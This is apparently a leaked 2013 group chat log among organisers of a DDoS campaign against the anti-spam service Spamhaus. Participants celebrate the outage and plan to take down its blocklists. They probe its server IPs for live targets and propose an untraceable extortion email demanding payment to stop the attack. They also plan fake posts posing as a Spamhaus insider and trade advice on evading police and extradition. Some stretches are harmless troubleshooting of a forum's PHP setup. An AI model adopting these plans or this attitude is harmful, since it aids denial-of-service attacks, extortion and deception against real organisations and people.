345[17.03.2013 22:47:07] narko: because the plane stops in london first
346[17.03.2013 22:47:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy lives on a boat in monaco
347[17.03.2013 22:47:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt he ever visits london lol
348[17.03.2013 22:47:36] narko: oh i thought he was in uk
349[17.03.2013 22:47:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i've -never been- at our london office, lets put it that way
350[17.03.2013 22:47:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
351[17.03.2013 22:47:44] narko: :( the plane doesnt stop at monaco
352[17.03.2013 22:48:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i was in monaco a couple of weeks ago... doesn't look that bad :P
353[17.03.2013 22:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if it didn't have that many steve linfords in it poluting the air
354[17.03.2013 22:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
355[17.03.2013 22:48:19] narko: lol
356[17.03.2013 22:48:49] narko: well maybe he sattleite dish fell in the sea
357[17.03.2013 22:48:55] narko: that's why spamhaus is still down
358[17.03.2013 22:49:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe he did indeed get assasinated lol
359[17.03.2013 22:49:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd be utter lulz
360[17.03.2013 22:49:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
361[17.03.2013 22:49:17] narko: (ninja)
362[17.03.2013 22:49:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: imma go piss on his grave
363[17.03.2013 22:49:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and take video of it for our press publications
364[17.03.2013 22:49:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
365[17.03.2013 22:50:09] narko: they will put you on rokso if you do
366[17.03.2013 23:23:35] narko: Luc Rossini 'Â@LucRossini
367Spamhaus is currently under a DDoS attack against our website which we are working on mitigating. Our DNSBLs are not affected. #spamhaus
368[17.03.2013 23:25:03] WebExxpurts: are they challanging to someone who ddos their mail site that their DNSBL are not affected? Is it a challange?
369[17.03.2013 23:25:20] WebExxpurts: lol
370[17.03.2013 23:25:26] narko: someone had to reference him in a twitter message before he wrote something
371[17.03.2013 23:25:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not affected -yet-
372[17.03.2013 23:25:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ll
373[17.03.2013 23:25:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: is what he means
374[17.03.2013 23:26:08] WebExxpurts: ah
375[17.03.2013 23:26:09] WebExxpurts: got it
376[17.03.2013 23:26:15] narko: (whew)
377[17.03.2013 23:32:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://twitter.com/LucRossini
378[17.03.2013 23:32:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol the other posts of that guy seem desperate
379[17.03.2013 23:32:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
380[17.03.2013 23:32:46] narko: @DealsMelbourne would be very wise to remove anyhttp://spamhaus.org addresses from your adverts list NOW or we will place you on SBL.
381[17.03.2013 23:33:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which is, blackmail
382[17.03.2013 23:33:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ll
383[17.03.2013 23:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
384[17.03.2013 23:34:11] narko: well thats spamhaus
385[18.03.2013 00:12:06] eDataKing: did spamhaus tweet that?
386[18.03.2013 00:12:34] narko: yes
387[18.03.2013 00:12:37] narko: months ago
388[18.03.2013 00:12:40] eDataKing: good evidence
389[18.03.2013 00:13:07] eDataKing: can we get a screenshot of the tweet on the spamhaus twitter feed for the forum someone
390[18.03.2013 00:13:20] eDataKing: I can't access Twitter. I will have the new connection here tomorrow.
391[18.03.2013 00:13:39] narko: your internet blocks twitter?
392[18.03.2013 00:13:52] eDataKing: I am tethered to a throw-away mobile
393[18.03.2013 00:15:04] eDataKing: so no, I can't go to google groups, twitter, facebook, pinterest, or a slew of other sites
394[18.03.2013 00:16:14] Yuri: looks we need PR manager who will write upto 100 posts in twitter and groups per day
395[18.03.2013 00:16:25] eDataKing: I have a perfect person for that
396[18.03.2013 00:16:30] eDataKing: I'll ping him now
397[18.03.2013 00:20:07] Cali: Good evening.
398[18.03.2013 00:20:34] Yuri: ok, added twitter
399[18.03.2013 00:21:00] Yuri: they don't write to twitter much, it's much easy to make much posts there
400[18.03.2013 00:21:11] Yuri: we will find some work to publish some information in twitter about them
401[18.03.2013 00:28:28] Cali: http://www.complaintsboard.com/complaints/spamhaus-london-england-south-yorkshire-c112627.html
402[18.03.2013 00:32:56] narko: nothing will happen
403[18.03.2013 00:33:12] narko: UK police are useless
404[18.03.2013 00:33:21] narko: ihosted phishing sites in UK before and it was reporterd and nothing happen
405[18.03.2013 00:33:21] narko: lol
406[18.03.2013 00:33:24] Yuri: +1
407[18.03.2013 00:33:49] Yuri: boys, you need just start jurist knowladge to understand how to act.
408[18.03.2013 00:34:07] narko: i think the uk police only work when america asks them to do something ;)
409[18.03.2013 00:34:22] Cali: Yuri, they had to pay spammer many times already.
410[18.03.2013 00:34:28] Cali: so a lot of cases were successful.
411[18.03.2013 00:36:20] Yuri: heh... all google twitter right now.
412[18.03.2013 00:36:38] Yuri: i think we could write some intresting info like from "spamhaus member"
413[18.03.2013 00:36:51] narko: http://www.webhostingtalk.com/showpost.php?p=8604811&postcount=9
414[18.03.2013 00:42:26] eDataKing: That is a Nanae poster
415[18.03.2013 00:42:29] eDataKing: OttawaGuru
416[18.03.2013 00:43:14] eDataKing: and who 'called for a DDOS on SPamhaus'Â? That's absurd, there was a question on whether or not anyone considered DDOSing each individual volunteer's servers.
417[18.03.2013 00:43:23] eDataKing: But never a mention of a DDOS os Haus
418[18.03.2013 00:44:23] eDataKing: Oh, in 2011 there was something like that...but damn, that's going way back
419[18.03.2013 00:47:55] eDataKing: They must be referring to this:
420http://www.articlesbase.com/spam-articles/spamhaus-is-never-wrongor-so-they-seem-to-think-4148524.html
421[18.03.2013 00:48:11] eDataKing: and I was merely discussing a historical event when AnonOps smacked them
422[18.03.2013 00:48:24] eDataKing: anyways, that is how they twist media to smear opponents
423[18.03.2013 01:27:15] narko: my bitcoin wallet is not syncronized yet
424[18.03.2013 01:27:17] narko: i started it
425[18.03.2013 01:27:19] narko: 12 hours ago
426[18.03.2013 01:27:22] narko: :^)
427[18.03.2013 01:27:29] eDataKing: mine did in like 5 mins
428[18.03.2013 01:27:39] narko: its gone 5% in 12 hours
429[18.03.2013 01:27:44] eDataKing: hmmm
430[18.03.2013 01:27:46] eDataKing: not right
431[18.03.2013 01:28:03] eDataKing: you install the s/w from weusecoins.com?
432[18.03.2013 01:28:17] narko: its bitcoin-qt
433[18.03.2013 01:28:21] narko: i installed it a yearag
434[18.03.2013 01:28:22] narko: o
435[18.03.2013 01:28:26] eDataKing: ok
436[18.03.2013 01:28:49] narko: shouldhave just left it open for the entire year
437[18.03.2013 01:28:58] eDataKing: personally, I would just download the new installer on the windows server that is going to host the chat room
438[18.03.2013 01:29:10] eDataKing: and it should be ready to go in mins, if not faster
439[18.03.2013 01:29:10] narko: the chat room is linux
440[18.03.2013 01:29:14] eDataKing: ok
441[18.03.2013 01:29:20] eDataKing: you went with linux.
442[18.03.2013 01:29:20] eDataKing: gotcha
443[18.03.2013 01:29:23] narko: yes
444[18.03.2013 01:29:28] narko: it uses less ram
445[18.03.2013 01:29:32] eDataKing: right
446[18.03.2013 01:30:45] narko: my computer has nothing on it -> i connect to windows server where i do all work etc -> on windows server is vmware with a vm with chatroom
447[18.03.2013 01:31:10] eDataKing: right
448[18.03.2013 01:31:14] narko: therse nothing for the police if they come and take my computer
449[18.03.2013 01:31:15] narko: :P
450[18.03.2013 01:31:23] eDataKing: :)
451[18.03.2013 01:36:07] Cali: a lot of windows.
452[18.03.2013 01:39:48] narko: if I move to cambodia
453[18.03.2013 01:40:00] narko: i can stay legally for as long as i want due to "indefinite visa"
454[18.03.2013 01:40:14] narko: but their monthly internet limits is 800MB (envy)
455[18.03.2013 01:40:24] narko: i dont know how piratebay guys ran a site with that
456[18.03.2013 02:21:34] Cali: TPB is not in cambodia.
457[18.03.2013 02:22:33] narko: i decided on moldova
458[18.03.2013 02:23:04] Cali: Very bad idea.
459[18.03.2013 02:23:13] narko: why is this?
460[18.03.2013 02:23:20] Cali: Because the FBI has all the rights there.
461[18.03.2013 02:23:26] Cali: they can extradite you.
462[18.03.2013 02:23:39] Cali: The same as Romania.
463[18.03.2013 02:23:48] narko: and ukraine?
464[18.03.2013 02:23:55] Cali: Ukraine is ok.
465[18.03.2013 02:24:06] narko: ukraine probably better than moldova
466[18.03.2013 02:24:09] narko: because i don't speak romanian
467[18.03.2013 02:24:20] Cali: They don't speak Romanian.
468[18.03.2013 02:24:22] Cali: they have a local language there.
469[18.03.2013 02:24:28] Cali: and they speak a lot Russian too.
470[18.03.2013 02:26:20] Cali: But I would not go there to feel safe.
471[18.03.2013 02:26:25] narko: feel safe from what?
472[18.03.2013 02:26:42] Cali: feel safe from idiots.
473[18.03.2013 02:26:52] Cali: American authorities
474[18.03.2013 02:26:54] Cali: and crap like that.
475[18.03.2013 02:26:58] narko: i need somewhere i can pay a bribe when they tell me i overstaying my visa
476[18.03.2013 02:27:05] Cali: oh
477[18.03.2013 02:27:08] Cali: go to Belarus then
478[18.03.2013 02:27:11] Cali: a friend just did that :)
479[18.03.2013 02:27:23] Cali: You can find one for 400, 500 dollars.
480[18.03.2013 02:27:28] narko: and also somewhere that i can't just disappear by the government
481[18.03.2013 02:27:38] Cali: btw, nobody cares about visa there.
482[18.03.2013 02:27:40] Cali: you can just stay there
483[18.03.2013 02:27:42] Cali: nothing will happen.
484[18.03.2013 02:27:44] narko: belarus?
485[18.03.2013 02:27:48] Cali: no not belarus
486[18.03.2013 02:27:50] Cali: moldova or ukraine.
487[18.03.2013 02:28:30] eDataKing: what about a place that takes an ex-felon from the US for citizenship or expat?
488[18.03.2013 02:28:44] Yuri: i hope some day i have enough place here in Moscow, so i can welcome here :)
489[18.03.2013 02:28:58] narko: maybe russia is also an option?
490[18.03.2013 02:29:10] eDataKing: can I go to Russia and stay?
491[18.03.2013 02:29:18] Cali: You can come to Ukraine, I have a lot of space :D
492[18.03.2013 02:29:28] narko: one of my friend in russia lives on 5000rub per month by living in one room and eating only doshirak
493[18.03.2013 02:29:36] eDataKing: even with some felonies from a decade ago?
494[18.03.2013 02:29:39] Cali: and it is very empty :) Yuri can confirm :)
495[18.03.2013 02:30:02] narko: kiev?
496[18.03.2013 02:30:09] Cali: yeah
497[18.03.2013 02:30:17] eDataKing: what is the coversion rate from USD to Rub?
498[18.03.2013 02:30:23] narko: its about 165$
499[18.03.2013 02:30:34] eDataKing: If I came with $100K, is that a good life or just getting by?
500[18.03.2013 02:30:35] Yuri: dishirak.... .hehehe...
501[18.03.2013 02:31:11] eDataKing: and I could just work online from there I presume?
502[18.03.2013 02:31:22] Cali: 1 dollar is 30 rub
503[18.03.2013 02:31:48] eDataKing: so, $100K is 3 mil rub? Is my quick math right?
504[18.03.2013 02:32:08] eDataKing: or 30?
505[18.03.2013 02:32:08] Cali: yes
506[18.03.2013 02:32:19] Cali: 3 million rubles.
507[18.03.2013 02:32:26] Cali: and some kopecs :)
508[18.03.2013 02:32:51] eDataKing: ok, so 3 mil rub to start with and need good housing for family of 4 and all permits to be in the country legally for as long as possible?
509[18.03.2013 02:33:09] eDataKing: what kind of life is that if we are earning $20-30K a month online working?
510[18.03.2013 02:33:15] narko: you will be the first person to move from america to russia and not in the other way :P
511[18.03.2013 02:38:21] eDataKing: I need a cheap win server with vmware for a workstation. Solutions?
512[18.03.2013 02:39:02] narko: ovh cheap
513[18.03.2013 02:39:12] eDataKing: intention is for a totally private an anonymous workstation.
514[18.03.2013 02:50:23] narko: ahh i cant decide
515[18.03.2013 02:50:27] narko: russia has a nicer flag
516[18.03.2013 02:50:33] narko: but slower internet
517[18.03.2013 02:50:46] eDataKing: oh yeah, I was locked up with some guys that got caught by ICE. They had no court date, no out date, and if they fought extradiction, they would sit there for 6 months and still get kicked.
518[18.03.2013 02:51:06] narko: i know someone who got reported on ICE and FBI raided him and he had to go to court
519[18.03.2013 02:51:08] narko: he was 14
520[18.03.2013 02:51:11] narko: and he ddosed a game server
521[18.03.2013 02:51:16] eDataKing: wow
522[18.03.2013 02:51:22] eDataKing: even kids
523[18.03.2013 02:51:49] Cali: we all love America.
524[18.03.2013 03:00:28] Yuri: Anonymous 'Â@YourAnonNews
525tango down: http://justice.gov | #UnderGods
526much fun last days in the internet.
527[18.03.2013 05:58:49] Mastermind of Possibilities: So who are the people you guys added who "left the conversation"
528[18.03.2013 05:59:01] Mastermind of Possibilities: They didnt talk just lurked then left... kinds bugs me
529[18.03.2013 06:01:35] eDataKing: I saw Marcelis come and go real fast
530[18.03.2013 06:10:40] simomchen: do I sent to sent a email to spamhaus , and asking 'if you wanna to stop the ddos , you need to pay us xxxxxx as damages' ?
531[18.03.2013 06:10:56] simomchen: them , just sent this money to Narko , and keeping ddos...
532[18.03.2013 06:10:57] simomchen: lol
533[18.03.2013 06:11:09] Mastermind of Possibilities: lol
534[18.03.2013 06:11:41] simomchen: I'm using ADSL in China , it's dynamic IP , and a public wifi point , nobody can dig that out
535[18.03.2013 06:12:25] simomchen: and I can simply to drive 200KM in the free way , and sent this email ...
536[18.03.2013 06:14:33] Mastermind of Possibilities: lol
537[18.03.2013 06:14:56] simomchen: well , is everyone know the email address of linford ?
538[18.03.2013 06:16:34] eDataKing: he has a bunch, but his public one islinford@spamhaus.org
539[18.03.2013 06:16:48] eDataKing: I assume he isn't getting much mail there these days though
540[18.03.2013 06:16:58] simomchen: their email is not working currently , so , need something like xxx@gmail.com
541[18.03.2013 06:18:22] eDataKing: I imagine they are just using one fromspamteq.com's server
542[18.03.2013 06:21:29] simomchen: linford@spamhaus.org ==> 82.94.216.239
543[18.03.2013 06:21:40] simomchen: do not know whether this IP is working
544[18.03.2013 06:22:29] simomchen: this IP also droped in Chinatelecom
545[18.03.2013 06:22:30] eDataKing: no, that IP should not be working
546[18.03.2013 06:23:27] eDataKing: That is: ns8.spamhaus.org
547[18.03.2013 06:23:32] eDataKing: timeout
548[18.03.2013 06:24:47] eDataKing: if they can't even give people a way to contact them for delisting, there is little chance we are going to find the email account being used
549[18.03.2013 06:25:34] Mastermind of Possibilities: This is where they send out SBL notifications from too:
550[18.03.2013 06:25:34] Mastermind of Possibilities: Received: from smtp-ext-layer.spamhaus.org (ns8.spamhaus.org. [82.94.216.239])
551 by mx.google.com with ESMTPS id z15si5184253eef.136.2011.12.11.23.29.39
552 (version=TLSv1/SSLv3 cipher=OTHER);
553[18.03.2013 06:27:34] eDataKing: well, we know they can't get delisting requests
554[18.03.2013 06:27:44] eDataKing: and we know they aren't sending out new SBL reports either
555[18.03.2013 06:27:48] simomchen: strange , I tracert this IP in China just now. it's droped by China telecom
556[18.03.2013 06:28:12] eDataKing: yeah, that being received is weird
557[18.03.2013 06:29:36] eDataKing: spamhaus.mu
558spamhaus.sc
559spamhaustech.com
560spamhauswhitelist.com
561spamteq.com
562swlcert.com
563[18.03.2013 06:29:48] eDataKing: those are all on the same server
564[18.03.2013 06:29:57] eDataKing: http://ip.robtex.com/82.94.216.239.html
565[18.03.2013 06:30:42] eDataKing: since spamteq.com andspamhaustech.com are up and hosted on that IP then I suppose that IP is resolving
566[18.03.2013 06:31:18] eDataKing: I suggested these be addressed yesterday but I think someone told me it was already discussed
567[18.03.2013 06:32:09] simomchen: so , you think , that email addresslinford@spamhaus.org is still working ?
568[18.03.2013 07:10:28] eDataKing: I do
569[18.03.2013 07:10:55] Mastermind of Possibilities: yes
570[18.03.2013 07:11:14] eDataKing: I think, if it is coming fromns8.spamhaus.org and that IP is 82.94.216.239 then it is probably working.
571[18.03.2013 07:11:19] Mastermind of Possibilities: webhostingtalk.
572[18.03.2013 07:11:27] eDataKing: As that IP is also serving as the NS records for spamteq.com
573[18.03.2013 07:23:55] simomchen: IP PTR A
574192.150.94.200 spamhaus.as1101.net ns3.spamhaus.org
575[18.03.2013 07:24:04] Mastermind of Possibilities: ?
576[18.03.2013 07:24:44] simomchen: just found this , it seems not in Sven's list
577[18.03.2013 07:24:57] Mastermind of Possibilities: oh
578[18.03.2013 07:25:04] Mastermind of Possibilities: Interesting reading:
579[18.03.2013 07:25:05] Mastermind of Possibilities:http://www.experian.com/blogs/marketing-forward/2013/03/07/email-blacklisting-5-stages-to-recovery/
580[18.03.2013 07:28:02] eDataKing: yeah, one of the major myths I have been trying to expose is the 'Spamhaus only maintains a list'Â rumor
581[18.03.2013 07:28:24] eDataKing: Obviously they do much more than that or most of us wouldn't even know who they were
582[18.03.2013 07:28:46] eDataKing: how does an ISP that is not using SPamhaus know when SPamhaus has listed one of their cvlients?
583[18.03.2013 07:28:56] eDataKing: Not because Spamhaus is just 'hosting a list'Â
584[18.03.2013 07:43:26] WebExxpurts: edataking:: chat license is changed?
585[18.03.2013 07:54:51] eDataKing: not yet, I just sent another email to see if I can speed it up
586[18.03.2013 10:13:24] eDataKing: anyone else getting an error on the forum?
587[18.03.2013 10:13:52] eDataKing: I went to check it and am getting an error. I wish I understood php a little better :(
588[18.03.2013 10:23:36] Antitheist: narkos magic
589[18.03.2013 10:29:41] eDataKing: they did an update and null routed their servers. They must have gotten tired of being in business lol
590[18.03.2013 10:29:56] Òðûõрøù Ûёûøý: spamhaus down?
591[18.03.2013 10:29:58] Òðûõрøù Ûёûøý: end of life?
592[18.03.2013 10:30:14] eDataKing: close, but they are on life-support
593[18.03.2013 10:30:52] eDataKing: Need to fix the forum if the error is universal
594[18.03.2013 10:31:01] eDataKing: are you getting an error Sven?
595[18.03.2013 10:31:39] Andrei Stanchevici: their website is down
596[18.03.2013 10:36:14] *** HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP, buraya Aleksey Frolov adlı kişiyi ekledi ***
597[18.03.2013 10:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Fatal error: Call to undefined function preg_replace() in /home/antispamhaus/stophaus.com/includes/class_core.php on line 2369
598[18.03.2013 10:41:10] Òðûõрøù Ûёûøý: php 5.4?
599[18.03.2013 10:41:32] Òðûõрøù Ûёûøý: install mb_strings php module
600[18.03.2013 10:41:36] eDataKing: dunno, it is Yuri's server
601[18.03.2013 10:41:46] eDataKing: this is a new error
602[18.03.2013 10:41:51] eDataKing: never seen it before
603[18.03.2013 10:42:00] twisted: url?
604[18.03.2013 10:42:12] eDataKing: http://stophaus.com/
605[18.03.2013 10:42:54] twisted: PHP was configured "--without-pcre-regex"
606[18.03.2013 10:43:07] Òðûõрøù Ûёûøý: mbstrings php module
607[18.03.2013 10:43:12] Òðûõрøù Ûёûøý: php -m | grep stri
608[18.03.2013 10:43:30] twisted: mbstrings does something entirely different
609[18.03.2013 10:44:37] eDataKing: This is the code that it is referring to:
610
611function strip_sessionhash($string)
612{
613 $string = preg_replace('/(s|sessionhash)=[a-z0-9]{32}?&?/', '', $string);
614 return $string;
615[18.03.2013 10:44:47] twisted: http://php.net/manual/ref.mbstring.php you only need it for multibyte strings etc, preg_replace is a built-in function (at least, if you... configure it properly :P)
616[18.03.2013 10:45:10] eDataKing: so, can I just remove that function for now and be able to update the forum tonight?
617[18.03.2013 10:46:22] twisted: well I'd be more worried about why your PCRE suddenly disappeared :P
618[18.03.2013 10:47:16] eDataKing: PCRE?
619[18.03.2013 10:48:00] twisted:http://www.php.net/manual/en/pcre.installation.php
620preg_replace is part of the PCRE extension
621[18.03.2013 10:48:06] eDataKing: I see
622[18.03.2013 10:48:07] twisted: however since PHP 5.3 it's standard
623[18.03.2013 10:48:21] twisted: put this in a file: <?php phpinfo(); ?>
624[18.03.2013 10:48:30] twisted: call it like test.php
625[18.03.2013 10:48:32] eDataKing: well, everything worked fine and I watched a movie, went back to it, and it was like that
626[18.03.2013 10:48:34] twisted: and give me the url
627[18.03.2013 10:50:27] eDataKing: http://stophaus.com/test.php
628[18.03.2013 10:50:58] eDataKing: 5.2.12
629[18.03.2013 10:51:03] eDataKing: before 5.3 :(
630[18.03.2013 10:51:23] Òðûõрøù Ûёûøý: hm
631[18.03.2013 10:51:27] Òðûõрøù Ûёûøý: my dedi?
632[18.03.2013 10:51:40] twisted: pcre is not configured
633[18.03.2013 10:51:53] twisted: so either your php binary got replaced while you watched that movie
634[18.03.2013 10:51:57] twisted: or it's just a miracle it worked before ;)
635[18.03.2013 10:53:01] twisted: ah
636[18.03.2013 10:53:07] eDataKing: ok, so it is not a difficult fix then?
637[18.03.2013 10:53:10] twisted: check your hosting panel or whatever
638[18.03.2013 10:53:15] Aleksey Frolov: what problem
639[18.03.2013 10:53:16] twisted: some allow you to switch PHP version
640[18.03.2013 10:53:33] eDataKing: Is it something I can handle as a server hobbyist or do I need to get someone with admin qualifications
641[18.03.2013 11:01:55] twisted: depends on how the server is configured I guess
642[18.03.2013 11:02:02] eDataKing: don't have one
643[18.03.2013 11:02:09] eDataKing: I think it is an add-on domain
644[18.03.2013 11:02:19] eDataKing: I guess we'll have to wait for Yuri or narko :(
645[18.03.2013 11:04:14] twisted: well you can technically do it without preg_replace but it's a -lot- more code
646[18.03.2013 11:04:17] twisted: not recommended :P
647[18.03.2013 12:29:02] WebExxpurts: flashchat?
648[18.03.2013 12:29:30] eDataKing: lemme check again
649[18.03.2013 12:29:42] eDataKing: I checked a few hours ago and it hadn't come yet, so I sent them another email
650[18.03.2013 12:29:53] WebExxpurts: or can someone install ircd on the stophaus?
651[18.03.2013 12:29:57] WebExxpurts: lets quit skype
652[18.03.2013 12:30:34] Goo: hmm
653[18.03.2013 12:30:53] -= Darwick =-: agreed
654[18.03.2013 12:31:02] -= Darwick =-: an SSL irc server would be much better and safer
655[18.03.2013 12:31:10] Goo: safer then what?
656[18.03.2013 12:31:17] Goo: lol
657[18.03.2013 12:31:18] -= Darwick =-: safer then talk in skype
658[18.03.2013 12:31:32] Goo: well yeah but still it isnt that safe..
659[18.03.2013 12:32:02] WebExxpurts: jabber?
660[18.03.2013 12:32:13] Goo: with OTR plugin is safer yes
661[18.03.2013 12:32:39] Goo: im developing a new tool, what uses irc but its all encrypted though
662[18.03.2013 12:32:43] twisted: I'd propose to use our psycd server but you can't reach it :')
663[18.03.2013 12:32:49] eDataKing: not yet
664[18.03.2013 12:33:07] eDataKing: the chatroom is all installed and the media server is running
665[18.03.2013 12:33:54] eDataKing: we are merely awaiting a license file because the company that made a kick-ass chatroom for a good price also had a stupid policy to prevent cracks and that is to only have one person that does license changes
666[18.03.2013 12:34:09] eDataKing: and she is a partner, so I doubt she works on weekends
667[18.03.2013 12:34:12] eDataKing: I have had this issue before
668[18.03.2013 12:34:20] eDataKing: first thing Mon morning in China I got my email
669[18.03.2013 12:34:38] eDataKing: but that would be like 12 hours ago right?
670[18.03.2013 12:35:05] eDataKing: I am EST -5
671[18.03.2013 12:35:21] eDataKing: it's 6:30am Mon morning here.
672[18.03.2013 12:35:29] Goo: its 11:35 am here
673[18.03.2013 12:35:39] eDataKing: what country?
674[18.03.2013 12:35:41] Goo: NL
675[18.03.2013 12:35:45] eDataKing: ok
676[18.03.2013 12:35:47] Goo: :)
677[18.03.2013 12:35:59] eDataKing: I have a lot of good friends that are kiwis
678[18.03.2013 12:36:09] Goo: ghehe
679[18.03.2013 12:36:22] eDataKing: and I have a lot of good kiwi domains that I was going to do something with one day, but then felt guilty because I am not Kiwi
680[18.03.2013 12:36:36] Goo: haha
681[18.03.2013 12:36:47] eDataKing: maybe I'll trade them to you
682[18.03.2013 12:36:59] eDataKing: like kiwibusinesses.com and stuff
683[18.03.2013 12:37:16] Goo: i have already to many domains
684[18.03.2013 12:37:20] Goo: hah
685[18.03.2013 12:37:21] eDataKing: I have a few of those type
686[18.03.2013 12:37:27] eDataKing: ahh, I should have known
687[18.03.2013 12:37:46] eDataKing: still, isn't that a good thing for trading ;)
688[18.03.2013 12:38:18] Goo: true
689[18.03.2013 12:38:38] WebExxpurts: we keep Stophaus and irc on different servers?
690[18.03.2013 12:38:55] eDataKing: IRC?
691[18.03.2013 12:39:03] eDataKing: the IRC chat is via ChatCentral
692[18.03.2013 12:39:13] -= Darwick =-: not exactly what I mean...
693[18.03.2013 12:39:48] -= Darwick =-: there are many irc server types
694[18.03.2013 12:40:00] -= Darwick =-: like this: http://www.unrealircd.com/
695[18.03.2013 12:40:21] Antitheist: you mean ircds
696[18.03.2013 12:40:28] eDataKing: I think we agreed that the self-installed and hosted flashchat solves the problem.
697[18.03.2013 12:40:35] Antitheist: irc server is efnet/wondernet/hackint etc
698[18.03.2013 12:40:36] eDataKing: Does IRC somehow solve it better?
699[18.03.2013 12:40:46] -= Darwick =-: yes it is
700[18.03.2013 12:40:56] eDataKing: either way, it would take as long to build out an IRC server as it will to wait on the license
701[18.03.2013 12:41:04] Antitheist: flashchat is flash based? it would suck..
702[18.03.2013 12:41:12] -= Darwick =-: much better because if we install an ircd to a "trusted" computer
703[18.03.2013 12:41:21] eDataKing: well, it has not sucked in the past
704[18.03.2013 12:41:27] -= Darwick =-: and we connect into it, it can't be sniffed by anybody
705[18.03.2013 12:45:58] Antitheist: webexxpurts, can your vps be used for hosting irc servers?
706[18.03.2013 12:45:59] WebExxpurts: lets not keep stophaus and chat or irc on same node
707[18.03.2013 12:46:04] eDataKing: I have nothing against IRC, but I remeber the debate that it was not secure enough
708[18.03.2013 12:46:10] eDataKing: from yesterday
709[18.03.2013 12:46:11] WebExxpurts: irc ports are blocked by upstreadms
710[18.03.2013 12:46:20] Antitheist: we will not use 6667
711[18.03.2013 12:46:32] Antitheist: we can use 31337+ssl
712[18.03.2013 12:46:34] Antitheist: :)
713[18.03.2013 12:46:43] WebExxpurts: ok
714[18.03.2013 12:47:01] eDataKing: I don't know how configurable flashchat would be though, it is pretty much an out-of-the-box chatroom
715[18.03.2013 12:47:21] Antitheist: but the problem is that it has to be on a webserver
716[18.03.2013 12:47:35] eDataKing: all that is already done
717[18.03.2013 12:47:37] Antitheist: and webservers are vulnerable to alot of shit \\even without flashchats\\
718[18.03.2013 12:47:40] eDataKing: narko already took care of the install
719[18.03.2013 12:47:50] WebExxpurts: where is narko?
720[18.03.2013 12:47:50] eDataKing: we are just waiting on the new license.dat file
721[18.03.2013 12:47:55] WebExxpurts: sleeping?
722[18.03.2013 12:48:02] eDataKing: I think so
723[18.03.2013 12:48:41] eDataKing: narko has control over the chatroom server.
724[18.03.2013 12:49:06] eDataKing: I figured he had the most risk involved, so his trust is by default
725[18.03.2013 12:50:14] Antitheist: but i think he was also in favor of irc
726[18.03.2013 12:50:31] Antitheist: which is natural since it has no bells and whistles with closed source
727[18.03.2013 12:51:27] eDataKing: I use IRC, I have no issue with that
728[18.03.2013 12:51:34] eDataKing: just no bells and whistles is all
729[18.03.2013 12:52:48] Antitheist: so we need to wait for his decision
730[18.03.2013 12:59:08] eDataKing: I would say that is the most diplomatic thing to do
731[18.03.2013 13:09:09] Alex Optik:http://www.stopspamhaus.org/2013_02_01_archive.html
732[18.03.2013 13:09:35] Alex Optik: as i see there is already has same projects
733[18.03.2013 13:09:59] narko: (wave)
734[18.03.2013 13:10:17] eDataKing: that site is owned by a person in this group Alex
735[18.03.2013 13:10:46] eDataKing: yo narko. Long time lol
736[18.03.2013 13:10:51] eDataKing: hope you got a good rest
737[18.03.2013 13:11:51] narko: spamhaus still down?
738[18.03.2013 13:12:03] narko: :^)
739[18.03.2013 13:12:08] narko: they're not even trying
740[18.03.2013 13:12:23] eDataKing: looks that way, but all DNSBLs are up and that appears to be why the lack of issues.
741[18.03.2013 13:12:37] eDataKing: Basically it is preventing delisting and access to ROKSO at this time
742[18.03.2013 13:12:38] Alex Optik: are yeah found all ;)
743[18.03.2013 13:12:39] Alex Optik: http://antispamhaus.org/
744[18.03.2013 13:12:48] eDataKing: which is wonderful if you ask me
745[18.03.2013 13:13:02] narko: today let's make down DNSBLs
746[18.03.2013 13:13:18] eDataKing: that would be an impressive action
747[18.03.2013 13:13:31] narko: Fatal error: Call to undefined function mysql_connect() :^)
748[18.03.2013 13:13:38] eDataKing: and the spamteq.com server that hosts linford's SBL report email address
749[18.03.2013 13:13:50] eDataKing: the address he sends those from is onns8.spamhaus.org
750[18.03.2013 13:14:18] narko: ns8 is down
751[18.03.2013 13:14:28] narko: its still nullrouted
752[18.03.2013 13:15:05] WebExxpurts: its up
753[18.03.2013 13:15:42] eDataKing: the sites and email accts on it are working
754[18.03.2013 13:15:50] narko: 4 b57-2-gw.spb.runnet.ru (194.190.255.9) 1.588 ms 1.327 ms 1.368 ms
7555 b57-1-gw.spb.runnet.ru (194.85.40.205) 34.615 ms 34.573 ms 34.573 ms
7566 tug11-1-gw.sth.runnet.ru (194.85.40.130) 53.253 ms 34.799 ms 44.459 ms
7577 tug-1-gw.sth.runnet.ru (194.85.40.173) 12.97 ms 12.997 ms 12.963 ms
7588 hikhef-1-gw.ams.runnet.ru (194.85.40.241) 34.739 ms 34.74 ms 34.652 ms
7599 * * *
76010 * * *
76111 * *
762[18.03.2013 13:16:01] eDataKing: well, www.spamteq.com is up
763[18.03.2013 13:16:10] eDataKing: spamhaustech.com is up
764[18.03.2013 13:16:11] narko: thats
765[18.03.2013 13:16:12] narko: 192.150.94.202
766[18.03.2013 13:16:23] eDataKing: spamhauswhitelist.com, and there are 4 or 5 more on there
